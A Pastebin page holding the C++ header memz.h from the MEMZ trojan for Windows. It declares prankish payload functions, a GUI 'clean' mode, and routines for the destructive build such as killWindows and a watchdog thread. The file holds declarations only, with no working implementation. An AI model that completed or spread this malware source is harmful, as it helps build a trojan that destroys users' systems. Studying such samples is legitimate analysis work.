Advertisement
FlyFar

memz.h

Mar 21st, 2023
1,657
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.79 KB | Cybersecurity | 0 0
  1. // If this is defined, the trojan will disable all destructive payloads
  2. // and does display a GUI to manually control all of the non-destructive ones.
  3. #define CLEAN
  4.  
  5. #ifdef CLEAN
  6. // Enable XP styles
  7. #pragma comment(linker,"\"/manifestdependency:type='win32' \
  8. name='Microsoft.Windows.Common-Controls' version='6.0.0.0' \
  9. processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
  10.  
  11. // Window attributes
  12. #define BTNWIDTH 200
  13. #define BTNHEIGHT 30
  14. #define COLUMNS 2
  15. #define ROWS nPayloads/COLUMNS
  16. #define SPACE 10
  17. #define WINDOWWIDTH COLUMNS * BTNWIDTH + (COLUMNS + 1)*SPACE
  18. #define WINDOWHEIGHT ROWS * BTNHEIGHT + (ROWS + 1)*SPACE + 32
  19. #endif
  20.  
  21. #pragma once
  22.  
  23. #include <Windows.h>
  24. #include <TlHelp32.h>
  25. #include <Shlwapi.h>
  26. #include <Psapi.h>
  27. #include <CommCtrl.h>
  28.  
  29. #include "data.h"
  30. #include "payloads.h"
  31.  
  32. int random();
  33. void strReverseW(LPWSTR str);
  34.  
  35. DWORD WINAPI payloadThread(LPVOID);
  36.  
  37. LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
  38.  
  39. #ifndef CLEAN
  40. void killWindows();
  41. void killWindowsInstant();
  42.  
  43. DWORD WINAPI ripMessageThread(LPVOID);
  44. DWORD WINAPI watchdogThread(LPVOID);
  45. #else
  46. DWORD WINAPI keyboardThread(LPVOID lParam);
  47. extern BOOLEAN enablePayloads;
  48. BOOL CALLBACK CleanWindowsProc(HWND hwnd, LPARAM lParam);
  49. #endif
  50.  
  51. int payloadExecute(PAYLOADFUNC);
  52. int payloadCursor(PAYLOADFUNC);
  53. int payloadBlink(PAYLOADFUNC);
  54. int payloadMessageBox(PAYLOADFUNC);
  55. DWORD WINAPI messageBoxThread(LPVOID);
  56. LRESULT CALLBACK msgBoxHook(int, WPARAM, LPARAM);
  57. int payloadChangeText(PAYLOADFUNC);
  58. BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam);
  59. int payloadSound(PAYLOADFUNC);
  60. int payloadPuzzle(PAYLOADFUNC);
  61. int payloadKeyboard(PAYLOADFUNC);
  62. int payloadPIP(PAYLOADFUNC);
  63. int payloadDrawErrors(PAYLOADFUNC);
  64.  
  65. extern int scrw, scrh;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement